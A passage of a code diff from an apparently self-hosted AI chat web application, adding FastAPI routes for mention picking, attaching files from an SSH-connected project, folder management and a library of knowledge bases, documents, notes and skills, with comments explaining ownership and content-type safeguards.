+        {"request": request, "documents": found, "q": q, "chat_id": chat_id, "user": user},
+    )
+
+
+@router.get("/mention-picker", dependencies=[Depends(require_permission("files.upload"))])
+async def mention_picker(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    q: str = "",
+    chat_id: str = "",
+    profile_id: str = "",
+    project_dir: str = "",
+) -> Response:
+    """What `@` offers: files under the project directory, and the library.
+
+    One menu from two sources, because a person typing `@readme` is not
+    thinking about which store the answer lives in. The project half is only
+    there for an agent chat and only when a listing has already been built --
+    this is a keystroke-latency path and it must never wait on a machine.
+
+    Filtered server-side, like the knowledge picker beside it and for the same
+    reason: the library is searched with FTS rather than filtered in the
+    browser, which is what makes it work at five hundred documents. The project
+    half is filtered here too, so the client stays one `fetch` and a list.
+    """
+    needle = q.strip().lower()
+
+    files: list[dict] = []
+    if profile_id and permissions.has(db, user, "tools.agent"):
+        from lembas.db.models import SshProfile
+        from lembas.services.agent import index as index_service
+
+        profile = db.get(SshProfile, profile_id)
+        # Re-checked rather than trusted from the query string: an id in a URL
+        # is not an authorisation, and this lists somebody's machine.
+        if profile is not None and profile.owner_id == user.id:
+            found = index_service.cached(profile_id, project_dir or profile.default_dir)
+            if found is not None:
+                files = [
+                    {"path": path, "name": path.rstrip("/").rsplit("/", 1)[-1]}
+                    for path in found.paths
+                    if not needle or needle in path.lower()
+                ][:20]
+
+    documents: list = []
+    notes: list = []
+    skills: list = []
+    bases: list = []
+    if permissions.has(db, user, "library.use"):
+        if needle:
+            documents = documents_service.search(db, user, q, limit=10)
+            notes = notes_service.search(db, user, q, limit=5)
+            skills = skills_service.search(db, user, q, limit=5)
+        else:
+            documents = list(
+                db.scalars(
+                    documents_service.visible(db, user)
+                    .order_by(Document.created_at.desc())
+                    .limit(10)
+                )
+            )
+            notes = list(
+                db.scalars(
+                    notes_service.visible(db, user).order_by(Note.updated_at.desc()).limit(5)
+                )
+            )
+            skills = list(db.scalars(skills_service.visible(db, user).limit(5)))
+
+        # A whole base is a *reference*, not a copy: attaching one scopes the
+        # chat to it and the model searches inside it. Dumping the contents of
+        # a folder of contracts into the window would be the wrong shape
+        # entirely, and `Chat.knowledge_bases` already means exactly this.
+        # Only in an existing chat, because there is nothing to attach it to
+        # before one exists -- the same reason project files are absent there.
+        if chat_id:
+            bases = [
+                base
+                for base in db.scalars(
+                    documents_service.visible_bases(db, user).order_by(KnowledgeBase.name)
+                )
+                if not needle or needle in base.name.lower()
+            ][:5]
+
+    # A URL typed after `@` is a page to read, not a name to look up. The
+    # fetcher, its SSRF guard and its HTML-to-text already live behind
+    # `/api/files/link`; this only offers it.
+    website = q.strip() if q.strip().lower().startswith(("http://", "https://")) else ""
+
+    attachments: list = []
+    if chat_id and needle:
+        attachments = list(
+            db.scalars(
+                select(Attachment)
+                .where(
+                    Attachment.user_id == user.id,
+                    Attachment.chat_id == chat_id,
+                    Attachment.message_id.is_not(None),
+                )
+                .order_by(Attachment.created_at.desc())
+                .limit(20)
+            )
+        )
+        attachments = [a for a in attachments if needle in a.filename.lower()][:5]
+
+    return templates.TemplateResponse(
+        request,
+        "chat/_mention_picker.html",
+        {
+            "request": request,
+            "user": user,
+            "files": files,
+            "documents": documents,
+            "notes": notes,
+            "skills": skills,
+            "bases": bases,
+            "attachments": attachments,
+            "website": website,
+            "q": q,
+            "chat_id": chat_id,
+            "profile_id": profile_id,
+        },
+    )
+
+
+@router.post("/from-project", dependencies=[Depends(require_permission("files.upload"))])
+async def attach_from_project(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    profile_id: str = Form(""),
+    path: str = Form(""),
+    chat_id: str = Form(""),
+) -> Response:
+    """Pull one file off the far machine and attach it to this message.
+
+    Its contents, not a reference: a model that has to spend a round calling
+    `file_read` often does not bother, and on a plain chat there is no
+    `file_read` to call. The path and the machine travel with it, so the model
+    is told exactly which file it is looking at rather than a bare basename it
+    cannot act on.
+
+    A directory attaches its listing instead of refusing -- "@ that folder" is
+    a reasonable thing to mean, and the listing is what it means.
+    """
+    from lembas.db.models import SshProfile
+    from lembas.services.agent import ssh as ssh_service
+    from lembas.services.agent.base import ExecError
+
+    def _failed(message: str) -> Response:
+        return templates.TemplateResponse(
+            request,
+            "chat/_attachment_error.html",
+            {"request": request, "filename": path or "file", "error": message},
+        )
+
+    if not permissions.has(db, user, "tools.agent"):
+        return _failed("You do not have access to connections.")
+
+    profile = db.get(SshProfile, profile_id)
+    if profile is None or profile.owner_id != user.id or not profile.enabled:
+        return _failed("That connection is not available.")
+    if hint := ssh_service.available():
+        return _failed(hint)
+
+    wanted = path.strip()
+    if not wanted:
+        return _failed("No file was named.")
+
+    executor = ssh_service.SshExecutor(ssh_service.spec_from(profile), profile.default_dir)
+    try:
+        if wanted.endswith("/"):
+            names = await executor.list_dir(wanted.rstrip("/"))
+            body = "\n".join(names)
+            truncated = len(names) >= ssh_service.MAX_ENTRIES
+        else:
+            body = await executor.read_file(wanted, max_bytes=ssh_service.MAX_READ_BYTES)
+            truncated = len(body.encode("utf-8", "ignore")) >= ssh_service.MAX_READ_BYTES
+    except ExecError as exc:
+        return _failed(exc.message)
+
+    attachment = files_service.store_text(
+        db,
+        user_id=user.id,
+        chat_id=chat_id or None,
+        filename=wanted.rstrip("/").rsplit("/", 1)[-1] or wanted,
+        text=body,
+        truncated=truncated,
+        source_path=wanted,
+        source_label=profile.name,
+    )
+    return templates.TemplateResponse(
+        request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
+    )
+
+
+@router.delete("/{attachment_id}")
+async def remove(db: Db, user: RequiredUser, attachment_id: str) -> Response:
+    """Detach a file before it has been sent."""
+    attachment = _owned(db, attachment_id, user.id)
+    if attachment.message_id is not None:
+        # Deleting it now would rewrite a conversation that has already been
+        # sent to a model and read by the user.
+        raise HTTPException(
+            status.HTTP_409_CONFLICT, "That file is part of a sent message."
+        )
+    files_service.delete(db, attachment)
+    return Response(status_code=status.HTTP_200_OK)
+
+
+@router.get("/{attachment_id}/content")
+async def content(db: Db, user: RequiredUser, attachment_id: str) -> Response:
+    """Serve an attachment back to its owner."""
+    attachment = _owned(db, attachment_id, user.id)
+    path = files_service.stored_path(attachment.stored_name)
+    if path is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That file is no longer on disk.")
+
+    # inline for images so they render in the thread; attachment for everything
+    # else so a text/html upload can never be executed in this origin.
+    disposition = "inline" if attachment.is_image else "attachment"
+    return FileResponse(
+        path,
+        media_type=attachment.media_type if attachment.is_image else "application/octet-stream",
+        headers={
+            "Content-Disposition": f'{disposition}; filename="{attachment.filename}"',
+            "Cache-Control": "private, max-age=604800",
+            # Belt and braces: even for images, never let a browser sniff its
+            # way to treating the bytes as something executable.
+            "X-Content-Type-Options": "nosniff",
+        },
+    )
+
+
+@router.get("/{attachment_id}/text")
+async def extracted_text(db: Db, user: RequiredUser, attachment_id: str) -> Response:
+    """The text a document contributed to the prompt.
+
+    Worth being able to see: a PDF that extracted badly explains a strange
+    reply, and there is otherwise no way to tell what the model was given.
+    """
+    attachment = _owned(db, attachment_id, user.id)
+    return Response(
+        attachment.extracted_text or attachment.extraction_error,
+        media_type="text/plain; charset=utf-8",
+    )

src/lembas/api/folders.py

@@ -0,0 +1,249 @@
+"""Folder management."""
+
+from __future__ import annotations
+
+from fastapi import APIRouter, Depends, Form, HTTPException, Request, Response, status
+from sqlalchemy import select
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.api.deps import Db, RequiredUser, require_permission
+from lembas.db.models import KINDS, Folder
+from lembas.services.agent import policy as agent_policy
+
+# Every route here manages folders, so the guard belongs on the router.
+router = APIRouter(
+    prefix="/api/folders",
+    tags=["folders"],
+    dependencies=[Depends(require_permission("folder.manage"))],
+)
+
+MAX_DEPTH = 8
+
+
+def _owned_folder(db: DBSession, folder_id: str, user_id: str) -> Folder:
+    folder = db.get(Folder, folder_id)
+    if folder is None or folder.user_id != user_id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That folder no longer exists.")
+    return folder
+
+
+def _depth_of(db: DBSession, folder: Folder | None) -> int:
+    depth = 0
+    seen: set[str] = set()
+    while folder is not None and folder.id not in seen:
+        seen.add(folder.id)
+        depth += 1
+        folder = db.get(Folder, folder.parent_id) if folder.parent_id else None
+    return depth
+
+
+def _descendants(db: DBSession, folder: Folder) -> set[str]:
+    """Every folder under this one, and this one. Bounded by MAX_DEPTH."""
+    found = {folder.id}
+    frontier = [folder.id]
+    for _ in range(MAX_DEPTH + 1):
+        if not frontier:
+            break
+        children = list(
+            db.scalars(select(Folder).where(Folder.parent_id.in_(frontier)))
+        )
+        frontier = [c.id for c in children if c.id not in found]
+        found.update(frontier)
+    return found
+
+
+def _subtree_height(db: DBSession, folder: Folder) -> int:
+    """How many levels this folder's own subtree occupies, itself included.
+
+    A move has to consider it: the constraint is on the *deepest leaf* after the
+    move, not on the folder being dragged.
+    """
+    height = 1
+    frontier = [folder.id]
+    for _ in range(MAX_DEPTH + 1):
+        children = list(
+            db.scalars(select(Folder.id).where(Folder.parent_id.in_(frontier)))
+        )
+        if not children:
+            break
+        height += 1
+        frontier = children
+    return height
+
+
+def candidate_parents(db: DBSession, user_id: str, folder: Folder) -> list[Folder]:
+    """Folders this one could be moved into.
+
+    Everything the person owns, minus the folder itself and its own subtree --
+    which is the cycle guard in `update_folder` stated as a list rather than as
+    a refusal. A picker that offers a move the route will reject is a control
+    that looks like it works.
+
+    Depth is checked at the route rather than filtered here: it depends on how
+    tall *this* folder's subtree is, and a select that silently omitted a folder
+    for that reason would be unexplainable from the screen.
+    """
+    blocked = _descendants(db, folder)
+    return [
+        candidate
+        for candidate in db.scalars(
+            select(Folder).where(Folder.user_id == user_id).order_by(Folder.name)
+        )
+        if candidate.id not in blocked
+    ]
+
+
+def _refresh_sidebar() -> Response:
+    """Tell the browser to reload so the tree re-renders.
+
+    The folder tree is recursive and a change can move any part of it, so
+    re-rendering the whole sidebar server-side is both simpler and less
+    error-prone than trying to patch individual nodes over the wire.
+    """
+    response = Response(status_code=status.HTTP_204_NO_CONTENT)
+    response.headers["HX-Refresh"] = "true"
+    return response
+
+
+def _prompted(request: Request) -> str:
+    """What somebody typed into an `hx-prompt` dialog, if anything.
+
+    htmx sends it as a header rather than a field, because the element carrying
+    the attribute may not be a form control at all. `ui.js` swaps the browser's
+    own prompt for the themed one and hands the answer back through the same
+    header, so this reads identically either way.
+    """
+    return (request.headers.get("HX-Prompt") or "").strip()
+
+
+@router.post("")
+async def create_folder(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    name: str = Form(""),
+    parent_id: str = Form(""),
+) -> Response:
+    name = name.strip() or _prompted(request)
+    parent = _owned_folder(db, parent_id, user.id) if parent_id else None
+
+    # A cap on nesting, so a runaway client cannot build a tree deep enough to
+    # blow the recursion limit in the template.
+    if parent is not None and _depth_of(db, parent) >= MAX_DEPTH:
+        raise HTTPException(
+            status.HTTP_400_BAD_REQUEST,
+            f"Folders cannot be nested more than {MAX_DEPTH} deep.",
+        )
+
+    db.add(
+        Folder(
+            user_id=user.id,
+            name=name[:200] or "New folder",
+            parent_id=parent.id if parent else None,
+        )
+    )
+    db.commit()
+    return _refresh_sidebar()
+
+
+# The settings a folder hands to chats started inside it, and how far each may
+# run. A table rather than a run of `if` blocks so the save handler and the form
+# cannot come to disagree about which fields exist -- the same reasoning the
+# tool label table carries.
+_SEEDS = {
+    "description": 500,
+    "system_prompt": 20_000,
+    "model_id": 300,
+    "ssh_profile_id": 32,
+    "project_dir": 1000,
+}
+
+
+@router.patch("/{folder_id}")
+async def update_folder(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    folder_id: str,
+) -> Response:
+    """Rename, move, collapse, or set what this folder hands to its chats.
+
+    Reads the raw form rather than declaring `Form(None)` parameters, because
+    FastAPI cannot tell an empty field from an absent one -- a submitted `x=`
+    arrives as None, so "clear this prompt" and "leave it alone" would be the
+    same request. Key presence is the distinction, which is the rule
+    `api/chats.py:update_chat` already follows and the reason every field here
+    is clearable.
+    """
+    folder = _owned_folder(db, folder_id, user.id)
+    form = await request.form()
+
+    # A rename can arrive from a settings form or from an `hx-prompt` button on
+    # the folder row; one route serves both. A blank name is ignored rather than
+    # stored, since a folder nobody can see the name of is one nobody can find.
+    name = str(form.get("name") or "").strip() or _prompted(request)
+    if name:
+        folder.name = name[:200]
+
+    if "parent_id" in form:
+        parent_id = str(form["parent_id"]).strip()
+        new_parent = _owned_folder(db, parent_id, user.id) if parent_id else None
+        # Reparenting a folder into its own subtree would detach that subtree
+        # from the root and make it unreachable.
+        cursor = new_parent
+        while cursor is not None:
+            if cursor.id == folder.id:
+                raise HTTPException(
+                    status.HTTP_400_BAD_REQUEST,
+                    "A folder cannot be moved inside itself.",
+                )
+            cursor = db.get(Folder, cursor.parent_id) if cursor.parent_id else None
+        # And the depth cap, which `create_folder` has always applied and this
+        # path never did -- moving a three-deep subtree under a six-deep folder
+        # builds a tree nine deep, which is what MAX_DEPTH exists to keep out of
+        # the recursive sidebar template. It went unnoticed because nothing in
+        # the interface could submit `parent_id` at all until now.
+        subtree = _subtree_height(db, folder)
+        if new_parent is not None and _depth_of(db, new_parent) + subtree > MAX_DEPTH:
+            raise HTTPException(
+                status.HTTP_400_BAD_REQUEST,
+                f"Folders cannot be nested more than {MAX_DEPTH} deep.",
+            )
+        folder.parent_id = new_parent.id if new_parent else None
+
+    if "collapsed" in form:
+        folder.collapsed = str(form["collapsed"]).lower() in ("1", "true", "on", "yes")
+
+    for field, limit in _SEEDS.items():
+        if field in form:
+            setattr(folder, field, str(form[field]).strip()[:limit])
+
+    # Both are vocabularies rather than free text, and both accept "" for "no
+    # opinion". Anything else is dropped rather than stored: a folder seeding a
+    # kind that is not a kind would hand every chat started in it a value that
+    # `_new_chat` then has to ignore anyway.
+    if "kind" in form:
+        wanted = str(form["kind"]).strip()
+        folder.kind = wanted if wanted in KINDS else ""
+    if "agent_mode" in form:
+        wanted = str(form["agent_mode"]).strip()
+        folder.agent_mode = wanted if wanted in agent_policy.MODES else ""
+
+    db.commit()
+    # One rule for every caller: reload. A rename or a move changes the tree,
+    # and a save from the settings page comes back showing what was stored --
+    # which is what somebody who pressed Save wants to see anyway.
+    return _refresh_sidebar()
+
+
+@router.delete("/{folder_id}")
+async def delete_folder(db: Db, user: RequiredUser, folder_id: str) -> Response:
+    """Delete a folder. Child folders go with it; chats do not.
+
+    Chats fall back to the unfiled list (the FK is ON DELETE SET NULL), because
+    losing a conversation to a mis-clicked folder delete is unforgivable.
+    """
+    folder = _owned_folder(db, folder_id, user.id)
+    db.delete(folder)
+    db.commit()
+    return _refresh_sidebar()

src/lembas/api/library.py

@@ -0,0 +1,620 @@
+"""The library: knowledge documents, notes, skills — and memory in settings.
+
+List-plus-detail throughout, the same shape as the model admin: compact rows
+with search and pagination, and a full form on its own page. A library is
+expected to run to hundreds of items, and a page that renders a form per row is
+unusable at that size.
+
+Every read goes through ``services.sharing.visible_to`` and every write through
+``owner_id``. Sharing grants reading only -- two people editing one note with no
+history and no merge is worse than the inconvenience of copying it.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Depends, File, Form, HTTPException, Request, UploadFile, status
+from fastapi.responses import FileResponse, RedirectResponse, Response
+from sqlalchemy import func, select
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.api.deps import Db, RequiredUser, require_permission
+from lembas.api.pages import sidebar_context
+from lembas.db.models import (
+    AUTHOR_USER,
+    Document,
+    KnowledgeBase,
+    Note,
+    Skill,
+    SkillRevision,
+    User,
+)
+from lembas.security import permissions
+from lembas.services import files as files_service
+from lembas.services import settings_store, sharing
+from lembas.services.fetch import FetchError, fetch
+from lembas.services.library import documents as documents_service
+from lembas.services.library import memories as memories_service
+from lembas.services.library import notes as notes_service
+from lembas.services.library import retrieval
+from lembas.services.library import skills as skills_service
+from lembas.services.markdown import render_markdown
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(dependencies=[Depends(require_permission("library.use"))], tags=["library"])
+
+PAGE_SIZE = 30
+
+
+def _page(db: DBSession, query, page: int):
+    """One page of a visibility-filtered query, plus what the pager needs."""
+    total = db.scalar(select(func.count()).select_from(query.subquery())) or 0
+    pages = max(1, (total + PAGE_SIZE - 1) // PAGE_SIZE)
+    page = min(max(page, 1), pages)
+    rows = list(db.scalars(query.offset((page - 1) * PAGE_SIZE).limit(PAGE_SIZE)))
+    return rows, {"page": page, "pages": pages, "total": total}
+
+
+def _shared_context(db: DBSession, user: User, resource, kind: str) -> dict:
+    """What the share placeholder needs, which is now three facts.
+
+    The panel itself is fetched from `api/sharing.py`, so the names, the search
+    and the grants are no longer built here -- and neither is a query for every
+    account on the instance on every detail page.
+    """
+    return {
+        "can_share": permissions.has(db, user, "library.share"),
+        "is_owner": resource.owner_id == user.id,
+        "share_kind": kind,
+        "share_id": resource.id,
+    }
+
+
+# --- Shell -------------------------------------------------------------------
+@router.get("/library")
+async def library_home(user: RequiredUser):
+    return RedirectResponse("/library/knowledge", status_code=status.HTTP_303_SEE_OTHER)
+
+
+# --- Knowledge ---------------------------------------------------------------
+# Route order matters: /library/knowledge/document/{id} must be registered
+# before /library/knowledge/{base_id}, or "document" is parsed as a base id.
+# FastAPI matches in registration order and this has bitten before.
+@router.get("/library/knowledge")
+async def knowledge_list(
+    request: Request, db: Db, user: RequiredUser, error: str = "", shared: bool = False
+):
+    """The bases, not the documents. A library is a set of places first.
+
+    `shared=1` narrows to bases other people have given this reader — the same
+    filter the notes and skills lists carry, and the one that makes "what have
+    people shared with me?" a question with an answer.
+    """
+    query = (
+        select(KnowledgeBase).where(sharing.only_shared(KnowledgeBase, user))
+        if shared
+        else documents_service.visible_bases(db, user)
+    )
+    bases = list(db.scalars(query.order_by(KnowledgeBase.name)))
+    counts = {
+        base.id: db.scalar(
+            select(func.count()).select_from(Document).where(Document.base_id == base.id)
+        )
+        or 0
+        for base in bases
+    }
+    return render(
+        request,
+        "library/knowledge.html",
+        {
+            "section": "knowledge",
+            "bases": bases,
+            "counts": counts,
+            "shared": shared,
+            "error": error,
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.post("/api/library/bases")
+async def create_base(
+    db: Db, user: RequiredUser, name: str = Form(""), description: str = Form("")
+) -> Response:
+    try:
+        base = documents_service.create_base(
+            db, owner=user, name=name, description=description
+        )
+    except ValueError as exc:
+        from urllib.parse import quote
+
+        return RedirectResponse(
+            f"/library/knowledge?error={quote(str(exc))}",
+            status_code=status.HTTP_303_SEE_OTHER,
+        )
+    return RedirectResponse(
+        f"/library/knowledge/{base.id}", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.get("/library/knowledge/document/{document_id}")
+async def knowledge_detail(request: Request, db: Db, user: RequiredUser, document_id: str):
+    document = documents_service.get(db, document_id, user)
+    if document is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
+    return render(
+        request,
+        "library/knowledge_detail.html",
+        {
+            "section": "knowledge",
+            "document": document,
+            "is_owner": sharing.can_write(document, user),
+            # Only bases this person owns: moving a document into one they can
+            # merely read would hand it to that base's owner.
+            "user_bases": list(
+                db.scalars(
+                    select(KnowledgeBase)
+                    .where(KnowledgeBase.owner_id == user.id)
+                    .order_by(KnowledgeBase.name)
+                )
+            ),
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.get("/library/knowledge/{base_id}")
+async def base_detail(
+    request: Request, db: Db, user: RequiredUser, base_id: str, q: str = "", page: int = 1
+):
+    base = documents_service.get_base(db, base_id, user)
+    if base is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That knowledge base is not available.")
+
+    if q.strip():
+        # The reader's search box gets the same recall a model's does. `None`
+        # when nothing is configured, which is the keyword search unchanged.
+        vector = await retrieval.embed_query(db, q)
+        rows = documents_service.search(
+            db, user, q, limit=PAGE_SIZE, base_ids=[base.id], vector=vector
+        )
+        pager = {"page": 1, "pages": 1, "total": len(rows)}
+    else:
+        rows, pager = _page(
+            db,
+            documents_service.visible(db, user, base_ids=[base.id]).order_by(
+                Document.created_at.desc()
+            ),
+            page,
+        )
+    return render(
+        request,
+        "library/base_detail.html",
+        {
+            "section": "knowledge",
+            "base": base,
+            "documents": rows,
+            "q": q,
+            "pager": pager,
+            **_shared_context(db, user, base, "base"),
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.post("/api/library/bases/{base_id}")
+async def update_base(request: Request, db: Db, user: RequiredUser, base_id: str) -> Response:
+    base = documents_service.get_base(db, base_id, user)
+    if base is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That knowledge base is not available.")
+    if not sharing.can_write(base, user):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, "That base is not yours to change.")
+
+    form = await request.form()
+    name = " ".join(str(form.get("name", "")).split())[:200]
+    if name:
+        base.name = name
+    base.description = str(form.get("description", "")).strip()[:2000]
+    db.commit()
+    return RedirectResponse(
+        f"/library/knowledge/{base.id}", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/api/library/bases/{base_id}/delete")
+async def delete_base(db: Db, user: RequiredUser, base_id: str) -> Response:
+    base = documents_service.get_base(db, base_id, user)
+    if base is None or not sharing.can_write(base, user):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That knowledge base is not available.")
+    documents_service.delete_base(db, base)
+    return RedirectResponse("/library/knowledge", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/api/library/documents")
+async def upload_document(
+    db: Db,
+    user: RequiredUser,
+    file: UploadFile = File(...),
+    title: str = Form(""),
+    base_id: str = Form(""),
+) -> Response:
+    base = documents_service.get_base(db, base_id, user) if base_id else None
+    if base is not None and not sharing.can_write(base, user):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, "That base is not yours to add to.")
+
+    payload = await file.read(files_service.limits().max_upload_bytes + 1)
+    try:
+        document = documents_service.store_upload(
+            db,
+            owner=user,
+            payload=payload,
+            filename=file.filename or "file",
+            title=title,
+            base=base,
+        )
+    except files_service.FileError as exc:
+        raise HTTPException(status.HTTP_400_BAD_REQUEST, str(exc)) from exc
+    return RedirectResponse(
+        f"/library/knowledge/{document.base_id}", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/api/library/documents/link")
+async def save_link(
+    db: Db, user: RequiredUser, url: str = Form(...), base_id: str = Form("")
+) -> Response:
+    base = documents_service.get_base(db, base_id, user) if base_id else None
+    if base is not None and not sharing.can_write(base, user):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, "That base is not yours to add to.")
+
+    config = settings_store.search(db)
+    try:
+        page = await fetch(url, allow_private=bool(config.get("allow_private_fetch")))
+    except FetchError as exc:
+        raise HTTPException(status.HTTP_400_BAD_REQUEST, exc.message) from exc
+    document = documents_service.store_page(db, owner=user, page=page, base=base)
+    return RedirectResponse(
+        f"/library/knowledge/{document.base_id}", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/api/library/documents/{document_id}")
+async def update_document(
+    request: Request, db: Db, user: RequiredUser, document_id: str
+) -> Response:
+    document = documents_service.get(db, document_id, user)
+    if document is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
+    if not sharing.can_write(document, user):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, "That document is not yours to change.")
+
+    form = await request.form()
+    document.title = str(form.get("title", document.title)).strip()[:300] or document.title
+    document.description = str(form.get("description", "")).strip()[:2000]
+
+    # Moving between bases changes who can see it, which is the whole point of
+    # bases -- so the destination has to be one this person can write to.
+    wanted = str(form.get("base_id", "")).strip()
+    if wanted and wanted != document.base_id:
+        destination = documents_service.get_base(db, wanted, user)
+        if destination is not None and sharing.can_write(destination, user):
+            document.base_id = destination.id
+
+    db.commit()
+    return RedirectResponse(
+        f"/library/knowledge/document/{document.id}", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/api/library/documents/{document_id}/delete")
+async def delete_document(db: Db, user: RequiredUser, document_id: str) -> Response:
+    document = documents_service.get(db, document_id, user)
+    if document is None or not sharing.can_write(document, user):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
+    base_id = document.base_id
+    documents_service.delete(db, document)
+    return RedirectResponse(
+        f"/library/knowledge/{base_id}", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.get("/api/library/documents/{document_id}/content")
+async def document_content(db: Db, user: RequiredUser, document_id: str) -> Response:
+    """Serve a document's file.
+
+    Non-images go out as attachments with nosniff, exactly as chat attachments
+    do: an uploaded .html must not be able to execute in this origin.
+    """
+    document = documents_service.get(db, document_id, user)
+    if document is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
+    path = documents_service.stored_path(document.stored_name)
+    if path is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That file is no longer on disk.")
+
+    headers = {"X-Content-Type-Options": "nosniff"}
+    if not document.is_image:
+        headers["Content-Disposition"] = f'attachment; filename="{document.filename}"'
+    return FileResponse(path, media_type=document.media_type, headers=headers)
+
+
+# --- Notes -------------------------------------------------------------------
+@router.get("/library/notes")
+async def notes_list(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    q: str = "",
+    page: int = 1,
+    shared: bool = False,
+):
+    """`shared=1` narrows to what other people have given this reader.
+
+    A separate view rather than a badge in the mixed list. A badge answers "is
+    this mine?" for a row already on screen; the question somebody has is "what
+    have people given me?", which a mixed list of two hundred cannot answer.
+    Searching inside it is deliberately left out -- the search path returns
+    ranked ids and re-filtering them by owner would silently shorten the page.
+    """
+    if q.strip():
+        rows = notes_service.search(
+            db, user, q, limit=PAGE_SIZE, vector=await retrieval.embed_query(db, q)
+        )
+        pager = {"page": 1, "pages": 1, "total": len(rows)}
+    else:
+        query = (
+            select(Note).where(sharing.only_shared(Note, user))
+            if shared
+            else notes_service.visible(db, user)
+        )
+        rows, pager = _page(db, query.order_by(Note.updated_at.desc()), page)
+    return render(
+        request,
+        "library/notes.html",
+        {
+            "section": "notes",
+            "notes": rows,
+            "q": q,
+            "shared": shared,
+            "pager": pager,
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.get("/library/notes/new")
+async def new_note(request: Request, db: Db, user: RequiredUser):
+    return render(
+        request,
+        "library/note_detail.html",
+        {"section": "notes", "note": None, **sidebar_context(db, user)},
+    )
+
+
+@router.get("/library/notes/{note_id}")
+async def note_detail(request: Request, db: Db, user: RequiredUser, note_id: str):
+    note = notes_service.get(db, note_id, user)
+    if note is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That note is not available.")
+    return render(
+        request,
+        "library/note_detail.html",
+        {
+            "section": "notes",
+            "note": note,
+            "body_html": render_markdown(note.body),
+            **_shared_context(db, user, note, "note"),
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.post("/api/library/notes")
+async def create_note(
+    db: Db, user: RequiredUser, title: str = Form(""), body: str = Form("")
+) -> Response:
+    note = notes_service.create(db, owner=user, title=title, body=body, author=AUTHOR_USER)
+    return RedirectResponse(f"/library/notes/{note.id}", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/api/library/notes/{note_id}")
+async def update_note(request: Request, db: Db, user: RequiredUser, note_id: str) -> Response:
+    note = notes_service.get(db, note_id, user)
+    if note is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That note is not available.")
+    if not sharing.can_write(note, user):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, "That note is not yours to change.")
+
+    form = await request.form()
+    notes_service.update(db, note, title=str(form.get("title", "")), body=str(form.get("body", "")))
+    return RedirectResponse(f"/library/notes/{note.id}", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/api/library/notes/{note_id}/delete")
+async def delete_note(db: Db, user: RequiredUser, note_id: str) -> Response:
+    note = notes_service.get(db, note_id, user)
+    if note is None or not sharing.can_write(note, user):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That note is not available.")
+    notes_service.delete(db, note)
+    return RedirectResponse("/library/notes", status_code=status.HTTP_303_SEE_OTHER)
+
+
+# --- Skills ------------------------------------------------------------------
+@router.get("/library/skills")
+async def skills_list(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    q: str = "",
+    page: int = 1,
+    shared: bool = False,
+):
+    """`shared=1` narrows to what other people have given this reader.
+
+    A separate view rather than a badge in the mixed list. A badge answers "is
+    this mine?" for a row already on screen; the question somebody has is "what
+    have people given me?", which a mixed list of two hundred cannot answer.
+    Searching inside it is deliberately left out -- the search path returns
+    ranked ids and re-filtering them by owner would silently shorten the page.
+    """
+    if q.strip():
+        rows = skills_service.search(
+            db, user, q, limit=PAGE_SIZE, vector=await retrieval.embed_query(db, q)
+        )
+        pager = {"page": 1, "pages": 1, "total": len(rows)}
+    else:
+        query = (
+            select(Skill).where(sharing.only_shared(Skill, user))
+            if shared
+            else skills_service.visible(db, user)
+        )
+        rows, pager = _page(db, query.order_by(Skill.name), page)
+    return render(
+        request,
+        "library/skills.html",
+        {
+            "section": "skills",
+            "skills": rows,
+            "q": q,
+            "shared": shared,
+            "pager": pager,
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.get("/library/skills/new")
+async def new_skill(request: Request, db: Db, user: RequiredUser):
+    return render(
+        request,
+        "library/skill_detail.html",
+        {"section": "skills", "skill": None, **sidebar_context(db, user)},
+    )
+
+
+@router.get("/library/skills/{skill_id}")
+async def skill_detail(request: Request, db: Db, user: RequiredUser, skill_id: str):
+    skill = skills_service.get(db, skill_id, user)
+    if skill is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
+    return render(
+        request,
+        "library/skill_detail.html",
+        {
+            "section": "skills",
+            "skill": skill,
